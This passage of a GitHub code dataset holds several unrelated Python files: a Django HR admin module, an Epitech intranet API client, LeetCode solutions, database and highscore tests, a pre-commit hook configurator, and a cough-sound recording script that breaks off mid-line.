return queryset\n\nadmin.site.register(Holiday)\nadmin.site.register(Department)\nadmin.site.register(Job)\n\n\n\n@admin.register(Rest)\nclass RestAdmin(admin.ModelAdmin,ExportCsvMixin):\n    list_display = (\"month\", \"emp\",\"day\",\"sum\")\n    readonly_fields = ('sum','year', )\n\n# admin.site.register(Common)\n@admin.register(Common)\nclass CommonAdmin(admin.ModelAdmin,ExportCsvMixin):\n    list_display = ('first_name','hours','salary', 'un','minus', 'gv','ss', 'total','all_amount')\n    actions = [\"export_as_csv\"]\n    list_per_page = 100\n    readonly_fields=('hours','salary', 'un','minus', 'gv','ss', 'total','all_amount')\n\n\n@admin.register(Month)\nclass MonthAdmin(admin.ModelAdmin,ExportCsvMixin):\n    list_display = (\"month\", \"year\",\"last_day\",\"weekday\")\n    actions = [\"export_as_csv\"]\n    list_per_page = 100\n    readonly_fields = ('last_day','weekday')\n\n\n@admin.register(MonthEmployee)\nclass MonthEmployeeAdmin(admin.ModelAdmin,ExportCsvMixin):\n    list_display = (\"month\",\"get_weekday\",\"job\",\"emp\",\"day\",\"all\",\"day_1\",\"day_2\",\"day_3\",\"day_4\",\"day_5\",\"day_6\",\"day_7\",\"day_8\",\"day_9\",\n                    \"day_10\",\"day_11\",\"day_12\",\"day_13\",\"day_14\",\"day_15\",\"day_16\",\"day_17\",\"day_18\",\"day_19\",\n                    \"day_20\",\"day_21\",\"day_22\",\"day_23\",\"day_24\",\"day_25\",\"day_26\",\"day_27\",\"day_28\",\"day_29\",\n                    \"day_30\", \"day_31\",)\n\n    list_editable = (\"all\",\"day_1\",\"day_2\",\"day_3\",\"day_4\",\"day_5\",\"day_6\",\"day_7\",\"day_8\",\"day_9\",\n                    \"day_10\",\"day_11\",\"day_12\",\"day_13\",\"day_14\",\"day_15\",\"day_16\",\"day_17\",\"day_18\",\"day_19\",\n                    \"day_20\",\"day_21\",\"day_22\",\"day_23\",\"day_24\",\"day_25\",\"day_26\",\"day_27\",\"day_28\",\"day_29\",\n                    \"day_30\", \"day_31\",)\n\n    readonly_fields=('hours','salary','ss', 'un','minus', 'gv', 'total','all_amount','all')\n\n    actions = [\"export_as_csv\",\"excelview\"]\n    list_filter = (IsVeryBenevolentFilter,)\n    list_per_page = 100\n\n    # def emp_works(self, obj):\n    #     today = datetime.date.today()\n    #     if(obj.emp.hire_date is None):\n    #         return \"işləyir\"\n    #     elif(obj.emp.hire_date>datetime.now() and (obj.emp.hire_date>datetime.now()- timedelta(months=-1))):\n    #         return \"son ay\"\n    #     else:\n    #         return \"çıxıb\"\n\n    def job(self, obj):\n        return obj.emp.job\n\n    def day(self, obj):\n        return obj.emp.day\n\n    class Media:\n        js = (\n            # 'js/jquery-3.4.0.min.js',\n            'js/script.js',\n            # 'js/jq.js',\n        )\n        css = {\n             'all': ('css/script.css',)\n        }\n\n\nfrom django.dispatch import receiver\nfrom django.db.models.signals import post_save\n\n    \n@receiver(post_save, sender=MonthEmployee)\ndef save_baemp(sender, instance, **kwargs):\n    if Common.objects.filter(mon=instance).exists():\n        b = Common.objects.filter(mon=instance)[:1].get()\n        b.mon = instance\n        b.first_name = instance.emp.first_name\n        b.rest = instance.rest\n        b.salary = instance.salary\n        b.all_amount = instance.all_amount\n        b.hours = instance.hours\n        b.ss = instance.ss\n        b.un = instance.un\n        b.gv = instance.gv\n        b.minus = instance.minus\n        b.total = instance.total\n        b.save()\n        print('added')\n    else:\n\n        b = Common(mon = instance,first_name = instance.emp.first_name)\n\n        b.mon = instance\n        b.first_name = instance.emp.first_name\n        b.rest = instance.rest\n        b.salary = instance.salary\n        b.all_amount = instance.all_amount\n        b.hours = instance.hours\n        b.ss = instance.ss\n        b.un = instance.un\n        b.gv = instance.gv\n        b.minus = instance.minus\n        b.total = instance.total\n        b.save()\n\n    print('_-----')\n","repo_name":"turalmz/hrmProject","sub_path":"hrm/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":12292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74768468213","text":"#!/usr/bin/env python3\n\nimport jwt\nimport re\nimport requests\nimport threading\nfrom cryptography.fernet import Fernet\nfrom peewee import DoesNotExist\nfrom flask import request\nfrom models.db import Users\nfrom tools.fomarting import ensure_json\nfrom tools.actions import executeAction\nfrom tools.tokens import get_tokens, tokens_reload\nfrom tools.env import SERV_ENCRYPT_KEY, SERV_URL\nfrom models.area import Action\nfrom tools.watcher import Watcher\n\nclass EpitechAPIWrapper():\n\n    def __init__(self, rqUser) -> None:\n        self.rqUser = rqUser\n        self.load_tokens()\n\n    def load_tokens(self):\n        tokens = get_tokens(self.rqUser, \"epitech\")\n        if \"NOJSON\" in list(tokens.keys()):\n            raise Exception(f\"Can't retrieve tokens for [{self.rqUser}] Area user, failed to init EpitechAPI wrapper.\")\n        self.access_token = tokens[\"access_token\"]\n        self.refresh_token = Fernet(SERV_ENCRYPT_KEY.encode()).decrypt(tokens[\"refresh_token\"].encode()).decode(\"utf-8\")\n        self.login = tokens[\"login\"]\n\n    def get_new_tokens(self):\n        session = requests.Session()\n\n        session.get(self.refresh_token)\n        user_token = session.cookies.get_dict()\n        if (\"user\" not in user_token.keys()):\n            return {\"code\": 401, \"message\": \"Can't retrieve user token from this auto-login link.\"}, 401\n        user_token = user_token[\"user\"]\n\n        login = jwt.decode(user_token, options={\"verify_signature\": False})[\"login\"]\n\n        tokens = {\n            \"access_token\": user_token,\n            \"refresh_token\": self.refresh_token,\n            \"login\": login,\n        }\n        try:\n            dbUser = Users.get(Users.uuid == self.rqUser)\n        except DoesNotExist as e:\n            return {\"code\": 401, \"message\": \"Unknown Area user\"}, 401\n        if not dbUser.oauth:\n            dbUser.oauth = {}\n        dbUser.oauth[\"epitech\"] = tokens\n        dbUser.save()\n        self.load_tokens()\n        return tokens\n\n    @tokens_reload(reloader=load_tokens)\n    def get_notifications(self):\n        headers = {\n            \"Accept\": \"application/json\",\n            \"Cookie\": f\"user={self.access_token}\"\n        }\n        r = requests.get(f\"https://intra.epitech.eu/user/notification/message?format=json\", headers=headers)\n        return ensure_json(r)\n\n    @tokens_reload(reloader=load_tokens)\n    def get_profile(self):\n        headers = {\n            \"Accept\": \"application/json\",\n            \"Cookie\": f\"user={self.access_token}\"\n        }\n        r = requests.get(f\"https://intra.epitech.eu/user/{self.login}/?format=json\", headers=headers)\n        return ensure_json(r)\n\n    @tokens_reload(reloader=load_tokens)\n    def get_grades(self):\n        headers = {\n            \"Accept\": \"application/json\",\n            \"Cookie\": f\"user={self.access_token}\"\n        }\n        r = requests.get(f\"https://intra.epitech.eu/user/{self.login}/notes?format=json\", headers=headers)\n        return ensure_json(r)\n\n    @tokens_reload(reloader=load_tokens)\n    def get_netsoul(self):\n        headers = {\n            \"Accept\": \"application/json\",\n            \"Cookie\": f\"user={self.access_token}\"\n        }\n        r = requests.get(f\"https://intra.epitech.eu/user/{self.login}/netsoul?format=json\", headers=headers)\n        return ensure_json(r)\n\n    @tokens_reload(reloader=load_tokens)\n    def get_partners(self):\n        headers = {\n            \"Accept\": \"application/json\",\n            \"Cookie\": f\"user={self.access_token}\"\n        }\n        r = requests.get(f\"https://intra.epitech.eu/user/{self.login}/binome?format=json\", headers=headers)\n        return ensure_json(r)\n\nclass EpitechNotifWebhookAction(Action):\n\n    def __init__(self, rqUser, uuid=None) -> None:\n        self.rqUser = rqUser\n        self.api =  EpitechAPIWrapper(rqUser)\n        super().__init__(\"epitech\", rqUser, uuid=uuid)\n        self.watcher = Watcher(SERV_URL + \"hooks/epitech\", \"EpitechNotifWebhook\", target=self.api.get_notifications, additional_header={\"WebhookType\": \"get_notifications\", \"AreaUser\": self.rqUser, \"ActionUUID\": self.uuid})\n\n    def register(self, *args):\n        for t in threading.enumerate():\n            if (not isinstance(t, Watcher)):\n                continue\n            if (t.name == \"WatcherEpitechNotifWebhook\"):\n                return self.watcher\n        self.watcher.start()\n        return self.watcher\n\n    def unregister(self, *args):\n        self.watcher.stop()\n        return self.watcher\n\ndef __epitechNotifHook(data, headers):\n    notif = data['data'][0]\n    area_action = headers['ActionUUID']\n\n    clean_title = re.sub(r'(<a.+?>)|(<\\/a>)', '', notif['title'])\n    executeAction(area_action, [f\"EpitechNotifHook - From:[{notif['user']['title']}] Title:[{clean_title}]\", f\"{notif['user']['title']} {clean_title}\"])\n    return {\"code\": 200, \"message\": \"OK\"}\n\n\ndef epitechHook():\n    data = request.json\n    headers = request.headers\n    webhook_type = request.headers.get('WebhookType')\n    if (not webhook_type):\n        {\"code\": 400, \"message\": \"Missing webhook type\"}, 400\n    if (webhook_type == \"get_notifications\"):\n        return __epitechNotifHook(data, headers)\n    return {\"code\": 400, \"message\": \"Webhook type not supported yet\"}, 400","repo_name":"luannbertaud/YEP-Area","sub_path":"api/controllers/actions/epitech.py","file_name":"epitech.py","file_ext":"py","file_size_in_byte":5185,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"36294739310","text":"#\n# @lc app=leetcode id=495 lang=python3\n#\n# [495] Teemo Attacking\n#\n\n# @lc code=start\nclass Solution:\n    def findPoisonedDuration(self, timeSeries: List[int], duration: int) -> int:\n        totalTime = 0\n        L = len(timeSeries)\n        if L == 0:\n            return 0\n        for i in range(L - 1):\n            totalTime += min(timeSeries[i+1] - timeSeries[i], duration)\n        return totalTime + duration \n\n# @lc code=end\n\n","repo_name":"xytxxx/LeetcodeSolutions","sub_path":"495.teemo-attacking.py","file_name":"495.teemo-attacking.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37870517105","text":"import functools\n\nimport numpy as np\nimport pytest\n\nfrom ohio.ext import numpy as op\n\n\n@pytest.fixture(name='test_engine')\ndef setup_engine(engine):\n    engine.execute(\n        \"create table data (\"\n        \"    id serial,\"\n        \"    value0 double precision,\"\n        \"    value1 double precision,\"\n        \"    value2 double precision\"\n        \")\"\n    )\n    return engine\n\n\ndef get_connectable(test_engine, use_conn):\n    return test_engine.connect() if use_conn else test_engine\n\n\n@pytest.mark.parametrize('use_conn', (True, False))\nclass TestNumpyExtPgCopyTo:\n\n    def test_pg_copy_to_table_1d(self, test_engine, use_conn):\n        arr = np.array([1.000102487, 5.982, 2.901, 103.929])\n\n        op.pg_copy_to_table(\n            arr,\n            'data',\n            get_connectable(test_engine, use_conn),\n            columns=['value0'],\n        )\n\n        persisted = test_engine.execute('select id, value0 from data').fetchall()\n        assert persisted == list(enumerate(arr, 1))\n\n    def test_pg_copy_to_table_2d(self, test_engine, use_conn):\n        arr = np.array([\n            [1.000102487, 5.982, 2.901],\n            [103.929, 0.000102, 7.9],\n            [29.103, 8.12, 2.1000002],\n        ])\n\n        op.pg_copy_to_table(\n            arr,\n            'data',\n            get_connectable(test_engine, use_conn),\n            columns=['value0', 'value1', 'value2'],\n        )\n\n        persisted = test_engine.execute('select * from data').fetchall()\n        assert persisted == [\n            (index,) + tuple(vals) for (index, vals) in enumerate(arr, 1)\n        ]\n\n    def test_pg_copy_to_table_fmt(self, test_engine, use_conn):\n        arr = np.array([\n            [1.000102487, 5.982, 2.901],\n            [103.929, 0.000102, 7.9],\n            [29.103, 8.12, 2.1000002],\n        ])\n\n        op.pg_copy_to_table(\n            arr,\n            'data',\n            get_connectable(test_engine, use_conn),\n            columns=['value0', 'value1', 'value2'],\n            fmt='%1.3f',\n        )\n\n        persisted = test_engine.execute('select * from data').fetchall()\n\n        rounder = functools.partial(round, ndigits=3)\n        expected = [(index,) + tuple(map(rounder, vals))\n                    for (index, vals) in enumerate(arr, 1)]\n\n        assert persisted == expected\n\n\n@pytest.mark.parametrize('use_conn', (True, False))\nclass TestNumpyExtPgCopyFrom:\n\n    data = (\n        (1.000102487, 5.982, 2.901),\n        (103.929, 0.000102, 7.9),\n        (29.103, 8.12, 2.1000002),\n    )\n\n    @pytest.fixture(name='test_engine')\n    def setup_engine(self, test_engine):\n        with test_engine.connect() as conn:\n            for vals in self.data:\n                conn.execute(\n                    'insert into data (value0, value1, value2) '\n                    'values (%s, %s, %s)',\n                    vals\n                )\n\n        return test_engine\n\n    def test_pg_copy_from_query(self, test_engine, use_conn):\n        arr = op.pg_copy_from_query(\n            'select * from data',\n            get_connectable(test_engine, use_conn),\n            float,\n        )\n        assert arr.shape == (3, 4)\n        assert arr.tolist() == [\n            [index] + list(vals) for (index, vals) in enumerate(self.data, 1)\n        ]\n\n    def test_pg_copy_from_table(self, test_engine, use_conn):\n        arr = op.pg_copy_from_table(\n            'data',\n            get_connectable(test_engine, use_conn),\n            float,\n        )\n        assert arr.shape == (3, 4)\n        assert arr.tolist() == [\n            [index] + list(vals) for (index, vals) in enumerate(self.data, 1)\n        ]\n\n    def test_pg_copy_from_table_columns(self, test_engine, use_conn):\n        arr = op.pg_copy_from_table(\n            'data',\n            get_connectable(test_engine, use_conn),\n            float,\n            ['value1', 'value2'],\n        )\n        assert arr.shape == (3, 2)\n        assert arr.tolist() == [list(vals[1:]) for vals in self.data]\n","repo_name":"dssg/ohio","sub_path":"test/ext_test/numpy_test.py","file_name":"numpy_test.py","file_ext":"py","file_size_in_byte":3939,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"21"}
+{"seq_id":"40684031141","text":"import os\r\nimport re\r\n\r\nsave_path = './Translated Lua Scripts'\r\ndir = os.path.join(\"Translated Lua Scripts\")\r\n\r\nif not os.path.exists(dir):\r\n    os.mkdir(dir)\r\n\r\n\r\ndef english_text_to_list(filename):\r\n    filename_txt = filename[:-4] + \".txt\"\r\n    for txt_file in os.listdir():\r\n        if txt_file == filename_txt:\r\n            openFile = open(txt_file, \"r\", encoding=\"utf-8\")\r\n            data = openFile.read()\r\n            return data.split(\"\\n\")\r\n\r\n\r\ndef replace_japanese_text_with_english(filename):\r\n    completename = os.path.join(save_path, filename)\r\n\r\n    english_text_list = english_text_to_list(filename)\r\n    lua_file = open(filename, \"r+\", encoding=\"utf-8\")\r\n    lua_file_data = lua_file.read()\r\n    lua_file.close()\r\n\r\n    translated_lua_file_data = lua_file_data\r\n    count = 0\r\n    for match in re.finditer(\"(\\[\\\"text\\\"]) = ({\\[\\[(.*)]]})\", lua_file_data):\r\n        english_sentence = english_text_list[count]\r\n\r\n        # If Japanese source sentence has Japanese quotation marks, and the English sentence doesnt have them, add them\r\n        if match.group(3).startswith(\"「\") and english_sentence[0] != \"\\\"\":\r\n            english_sentence = \"\\\"\" + english_sentence\r\n        if match.group(3).endswith(\"」\") and english_sentence[-1] != \"\\\"\":\r\n            english_sentence = english_sentence + \"\\\"\"\r\n\r\n        translated_lua_file_data = translated_lua_file_data.replace(match.group(3), english_sentence, 1)\r\n        count += 1\r\n\r\n    createfile = open(completename, \"w\", encoding=\"utf-8\")\r\n    createfile.write(translated_lua_file_data)\r\n    createfile.close()\r\n\r\n\r\nfor filename in os.listdir():\r\n    if filename.endswith('.lua'):\r\n    # if filename == \"ama_01.lua\":\r\n        replace_japanese_text_with_english(filename)\r\n","repo_name":"Spazzery/Amamane-Vita-TL-Public","sub_path":"insert text.py","file_name":"insert text.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"75025969653","text":"def fibonacci():\n    List=[0,1]\n    i=1\n    while(1):\n        tmp = List[i]+List[i-1]\n        if(not tmp<1000):\n            break\n        List.append(tmp)\n        i+=1\n    return List\nList = fibonacci()\nprint(List)","repo_name":"maeseok/python-college","sub_path":"과거/task1031.py","file_name":"task1031.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20796869215","text":"#Rotated Sorted Array Search\n#Problem Description\n#\n#Given a sorted array of integers A of size N and an integer B.\n#\n#array A is rotated at some pivot unknown to you beforehand.\n#\n#(i.e., 0 1 2 4 5 6 7 might become 4 5 6 7 0 1 2 ).\n#\n#You are given a target value B to search. If found in the array, return its index, otherwise return -1.\n#\n#You may assume no duplicate exists in the array.\n#\n#NOTE: Users are expected to solve this in O(log(N)) time.\n#\n#\n#\n#Problem Constraints\n#1 <= N <= 1000000\n#\n#1 <= A[i] <= 10^9\n#\n#all elements in A are disitinct.\n#\n#\n#\n#Input Format\n#The first argument given is the integer array A.\n#\n#The second argument given is the integer B.\n#\n#\n#\n#Output Format\n#Return index of B in array A, otherwise return -1\n\nclass Solution:\n    # @param A : tuple of integers\n    # @param B : integer\n    # @return an integer\n    def search(self, A, B):\n        if len(A)==1 and A[0]==B:\n            return 0 \n        def BS(a,l,r):\n            mid=(l+r)//2\n            if a[mid]<a[mid+1] and a[mid]<a[mid-1]:\n                return mid\n            elif a[mid]>a[-1]:\n                return BS(a,mid+1,r)\n            elif a[mid]<a[-1]:\n                return BS(a,l,mid-1)\n        mid=BS(A,0,len(A)-1)\n        \n        def BS1(a,l,r,k):\n            mid=(l+r)//2\n            if a[mid]==k:\n                return mid\n            elif a[mid]>k:\n                return BS1(a,l,mid-1,k)\n            else:\n                return BS1(a,mid+1,r,k)\n        try:        \n            if B==A[mid]:\n                return mid\n            elif B>A[mid] and B<A[-1]:\n                return BS1(A,mid+1,len(A)-1,B)\n            elif B>A[mid] and B>A[-1]:\n                return BS1(A,0,mid-1,B)\n        except:\n            return -1","repo_name":"ankursarwate/Data-Structures","sub_path":"rotated_sorted_array_search.py","file_name":"rotated_sorted_array_search.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32801198572","text":"from pathlib import Path\nimport os\n\nfrom zen.highscore import HighScore\n\nSAVE_TO=\"./test/data/highscore\"\n\nclass TestHighScore:\n    def test_creating_highscore_object(self) -> None:\n        hs=HighScore(save_to=SAVE_TO)\n        assert hs._save_to == SAVE_TO\n\n        hs=HighScore()\n        assert hs._save_to\n\n    def test_deletion_of_highscore_file(self) -> None:\n        hs=HighScore(save_to=SAVE_TO)\n\n        # create empty file\n        Path(SAVE_TO).touch()\n\n        assert os.path.isfile(SAVE_TO)\n        hs._delete()\n        assert not os.path.isfile(SAVE_TO)\n\n    def test_creation_of_highscore_file(self) -> None:\n        hs=HighScore(save_to=SAVE_TO)\n\n        if os.path.isfile(SAVE_TO):\n            os.remove(SAVE_TO)\n\n        assert not os.path.isfile(SAVE_TO)\n        hs._create()\n        assert os.path.isfile(SAVE_TO)\n\n        os.remove(SAVE_TO)\n\n    def test_saving_data_to_highscore_file(self) -> None:\n        hs=HighScore(save_to=SAVE_TO)\n        hs._create()\n\n        assertSaveFile(equals=\"\")\n        hs._save(1234)\n        assertSaveFile(equals=\"1234\")\n\n        hs._delete()\n\n    def test_updating_highscore(self) -> None:\n        hs=HighScore()\n        hs.update(1234)\n\n        assert hs._score == 1234\n\n    def test_score_must_be_higher_to_update(self) -> None:\n        hs=HighScore()\n        hs.update(-1234)\n\n        assert hs._score == 0\n\n    def test_writing_score_to_file(self) -> None:\n        hs=HighScore(save_to=SAVE_TO)\n        hs._create()\n\n        assertSaveFile(equals=\"\")\n        hs.update(1234)\n        hs.write()\n        assertSaveFile(equals=\"1234\")\n\n        hs._delete()\n\n    def test_push_highscore(self) -> None:\n        hs=HighScore(save_to=SAVE_TO)\n        hs._create()\n\n        hs.push(1234)\n\n        assertSaveFile(equals=\"1234\")\n        hs.push(0)\n        assertSaveFile(equals=\"1234\")\n\n        hs._delete()\n\ndef assertSaveFile(equals: str) -> None:\n    with open(SAVE_TO, \"r\") as f:\n        assert f.read() == equals\n","repo_name":"dosisod/zen","sub_path":"test/test_highscore.py","file_name":"test_highscore.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33728707882","text":"\"\"\"Add a pre-commit hook to a pre-commit configuration file, if this exists.\"\"\"\n\nimport argparse\nimport os\nimport sys\n\nimport yaml\n\n\ndef repeated_definitions_of_repo_in_config(config, repo):\n    \"\"\"Check if there are multiple definitions of the same repository in a\n    pre-commit configuration object.\n\n    Parameters\n    ----------\n\n    config : dict\n      Pre-commit configuration dictionary.\n\n    repo : str\n      Repository to check for multiple definitions.\n\n    Returns\n    -------\n\n    bool : ``True`` if there are more than one definition of the passed\n      repository in the configuration dictionary, ``False`` otherwise.\n    \"\"\"\n    return len([_repo for _repo in config[\"repos\"] if _repo[\"repo\"] == repo]) > 1\n\n\ndef is_repo_in_config(config, repo, rev, hook_id):\n    \"\"\"Get if a repository is defined in a pre-commit configuration.\n\n    Parameters\n    ----------\n\n    config : dict\n      Pre-commit configuration dictionary.\n\n    repo : str\n      Repository to search.\n\n    rev : str\n      Repository tag revision.\n\n    hook_id : Hook identifier.\n\n    Returns\n    -------\n\n    dict : Information about if the repository and the hook have been found.\n    \"\"\"\n    response = {\"repo_found\": False, \"hook_found\": False, \"same_rev\": False}\n    for repo_ in config[\"repos\"]:\n        if repo_[\"repo\"] == repo:\n            response[\"repo_found\"] = True\n            response[\"hook_found\"] = hook_id in [hook[\"id\"] for hook in repo_[\"hooks\"]]\n            response[\"same_rev\"] = repo_[\"rev\"] == rev\n            break\n    return response\n\n\ndef add_pre_commit_hook(repo, rev, hook_id, quiet=False, dry_run=False):\n    \"\"\"Add a pre-commit hook configuration to a pre-commit configuration file.\n\n    Parameters\n    ----------\n\n    repo : str\n      Repository where the hook to add is defined.\n\n    rev : str\n      Hook's repository version.\n\n    hook_id: str\n      Hook identifier.\n\n    quiet : bool, optional\n      Don't print output to STDERR (only has effect with ``dry_run`` enabled).\n\n    dry_run: bool, optional\n      When enabled, only writes to STDERR the replacements that would be added,\n      but are not done.\n\n    Returns\n    -------\n\n    int: 1 if the pre-commit configuration file has been changed, 0 otherwise.\n    \"\"\"\n    pre_commit_config_path = \".pre-commit-config.yaml\"\n    if not os.path.isfile(pre_commit_config_path):\n        return 0\n\n    with open(pre_commit_config_path) as f:\n        config_content = f.read()\n        config = yaml.safe_load(config_content)\n\n    if \"repos\" not in config or not config[\"repos\"]:\n        return 0\n\n    repo_in_config = is_repo_in_config(config, repo, rev, hook_id)\n    if not repo_in_config[\"repo_found\"]:\n        _repo_indentation = 2\n        config_lines = config_content.splitlines(keepends=True)\n        for line in config_lines:\n            if line.lstrip().startswith(\"- repo:\"):\n                _repo_indentation = line.index(\"-\")\n                break\n        indent = \" \" * _repo_indentation\n\n        new_lines = config_lines\n        if not config_lines[-1].strip():\n            new_lines = config_lines[:-1]\n        if config_lines[-1][-1] != \"\\n\":\n            config_lines[-1] += \"\\n\"\n        new_lines.extend(\n            [\n                f\"{indent}- repo: {repo}\\n\",\n                f\"{indent}  rev: {rev}\\n\",\n                f\"{indent}  hooks:\\n\",\n                f\"{indent}    - id: {hook_id}\\n\",\n            ]\n        )\n\n        if dry_run:\n            if not quiet:\n                sys.stderr.write(\n                    f\"The hook '{hook_id}' with repo '{repo}' (rev: {rev})\"\n                    \" would be added to '.pre-commit.config.yaml'\\n\"\n                )\n        else:\n            with open(pre_commit_config_path, \"w\") as f:\n                f.writelines(new_lines)\n\n        return 1\n\n    # repo in configuration multiple times\n    if repeated_definitions_of_repo_in_config(config, repo):\n        sys.stderr.write(\n            f\"Multiple definitions of repository '{repo}' in configuration\"\n            \" file '.pre-commit-config.yaml'. You must determine manually one\"\n            \" of them.\\n\"\n        )\n        return 1\n\n    if not repo_in_config[\"hook_found\"]:\n        config_lines = config_content.splitlines(keepends=True)\n\n        _inside_repo, _hooks_line, _hooks_indent = (False, None, None)\n        _rev_line = None\n        for i, line in enumerate(config_lines):\n            if not _inside_repo:\n                if line.lstrip().startswith(\"- repo:\") and repo in line.replace(\n                    \"- repo:\", \"\"\n                ):\n                    _inside_repo = True\n            else:\n                if _hooks_line is not None:\n                    if _hooks_indent is None:\n                        _hooks_indent = line.index(\"-\") if \"-\" in line else None\n\n                    if line.lstrip().startswith(\"- repo:\"):\n                        break\n                else:\n                    if line.lstrip().startswith(\"hooks:\"):\n                        _hooks_line = i\n                    elif line.lstrip().startswith(\"rev:\"):\n                        _rev_line = i\n\n        new_lines = []\n        for n, line in enumerate(config_lines):\n            if n == _rev_line and not repo_in_config[\"same_rev\"]:\n                new_lines.append(line.split(\":\")[0] + f\": {rev}\\n\")\n            else:\n                if n == _hooks_line:\n                    if not new_lines[-1].strip():\n                        new_lines = new_lines[:-1]\n                    new_lines.append(line)\n                    new_lines.append(\" \" * _hooks_indent + f\"- id: {hook_id}\\n\")\n                else:\n                    new_lines.append(line)\n\n        if dry_run:\n            if not quiet:\n                sys.stderr.write(\n                    f\"The hook '{hook_id}' would be added to repo '{repo}'\"\n                    f\" (rev: {rev})' at '.pre-commit.config.yaml'\\n\"\n                )\n        else:\n            with open(pre_commit_config_path, \"w\") as f:\n                f.writelines(new_lines)\n        return 1\n\n    return 0\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-q\", \"--quiet\", action=\"store_true\", help=\"Supress output\")\n    parser.add_argument(\n        \"-d\",\n        \"--dry-run\",\n        action=\"store_true\",\n        dest=\"dry_run\",\n        help=\"Don't do the rewriting, just writes errors to stderr.\",\n    )\n    parser.add_argument(\n        \"-repo\",\n        \"--repo\",\n        type=str,\n        metavar=\"URL\",\n        required=True,\n        dest=\"repo\",\n        help=\"Repository URL where the hook is defined.\",\n    )\n    parser.add_argument(\n        \"-rev\",\n        \"--rev\",\n        type=str,\n        metavar=\"VERSION\",\n        required=True,\n        dest=\"rev\",\n        help=\"Repository tag to fetch.\",\n    )\n    parser.add_argument(\n        \"-id\",\n        \"--id\",\n        type=str,\n        metavar=\"HOOK_ID\",\n        required=True,\n        dest=\"hook_id\",\n        help=\"Identifier of the hook to be added.\",\n    )\n\n    args = parser.parse_args()\n\n    exitcode = add_pre_commit_hook(\n        args.repo,\n        args.rev,\n        args.hook_id,\n    )\n\n    return exitcode\n\n\nif __name__ == \"__main__\":\n    exit(main())\n","repo_name":"mondeja/pre-commit-hooks","sub_path":"hooks/add_pre_commit_hook.py","file_name":"add_pre_commit_hook.py","file_ext":"py","file_size_in_byte":7135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73444075571","text":"# This is a sample Python script.\r\n\r\n# Press Shift+F10 to execute it or replace it with your code.\r\n# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.\r\nimport sklearn\r\nimport sounddevice as sd\r\nimport matplotlib.pyplot as plt\r\nimport csv\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nimport seaborn as sns\r\n\r\n\r\n# Make numpy printouts easier to read.\r\nnp.set_printoptions(precision=3, suppress=True)\r\n\r\nimport tensorflow as tf\r\n\r\nfrom tensorflow import keras\r\nfrom tensorflow.keras import layers\r\nimport random\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nfrom sklearn.utils import shuffle\r\nfrom sklearn import datasets, linear_model\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.metrics import mean_squared_error, r2_score\r\n\r\nfrom numpy import loadtxt\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense\r\ndef print_hi(name):\r\n\r\n    plt.close('all')\r\n    Fs = 160000\r\n    d=3\r\n    print(\"Start\")\r\n    a = sd.rec(int(d*Fs), Fs, 1, blocking=True)\r\n    sd.wait()\r\n    print(\"Stop\")\r\n    plt.plot(a); plt.title('recordrd sound')\r\n\r\n\r\n    data = []\r\n\r\n\r\n    res = []\r\n\r\n\r\n    alist = list(a)\r\n    alist.sort()\r\n    #plt.plot(alist)\r\n    #plt.show()\r\n    proba = []\r\n    rangeProb = 30000\r\n    if a.argmax() <= 40000:\r\n        rangeProb = a.argmax()\r\n    if a.argmax() >= 470000:\r\n        rangeProb = 510000 - a.argmax()\r\n    maxIndex = a.argmax()\r\n    for i in range(40000):\r\n        proba.append(a[maxIndex - rangeProb + i])\r\n    plt.plot(proba)\r\n    data.append(max(proba) - min(proba))\r\n    proba.sort()\r\n    data.append(proba[10000])\r\n    data.append(proba[30000])\r\n    plt.plot(proba)\r\n    #plt.show()\r\n\r\n\r\n    #print(data)\r\n\r\n    '''\r\n    toZap = input(\"Da zapisvam li: \")\r\n    isCaught = input(\"kashlqne li e: \")\r\n    with open('data.csv', 'a', newline='') as file:\r\n        writer = csv.writer(file)\r\n        if toZap == 'da':\r\n            if isCaught == 'da':\r\n                data.append(1)\r\n            else:\r\n                data.append(0)\r\n            writer.writerow(data)\r\n    '''\r\n    trainx= []\r\n    trainy = []\r\n    testx = []\r\n    testy = []\r\n    num = 0\r\n    dataread = pd.read_csv('data.csv')\r\n    dataread = shuffle(dataread)\r\n    trainx = dataread.iloc[0:15, [0, 1, 2]].values.reshape(-1, 3)\r\n    trainy = dataread.iloc[0:15, 1].values.reshape(-1, 1)\r\n    testx = dataread.iloc[15:25, [0, 1, 2]].values.reshape(-1, 3)\r\n    testy = dataread.iloc[15:25, 3].values.reshape(-1, 1)\r\n    return tryWithNeural(data)\r\n\r\n\r\n\r\n\r\n\r\nmodel = Sequential()\r\nmodel.add(Dense(12, input_dim=3, activation='relu'))\r\nmodel.add(Dense(8, activation='relu'))\r\nmodel.add(Dense(1, activation='sigmoid'))\r\ndataset = loadtxt('data.csv', delimiter=',')\r\n# split into input (X) and output (y) variables\r\nX = dataset[:, 0:3]\r\ny = dataset[:, 3]\r\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\r\nmodel.fit(X, y, epochs=150, batch_size=10)\r\n_, accuracy = model.evaluate(X, 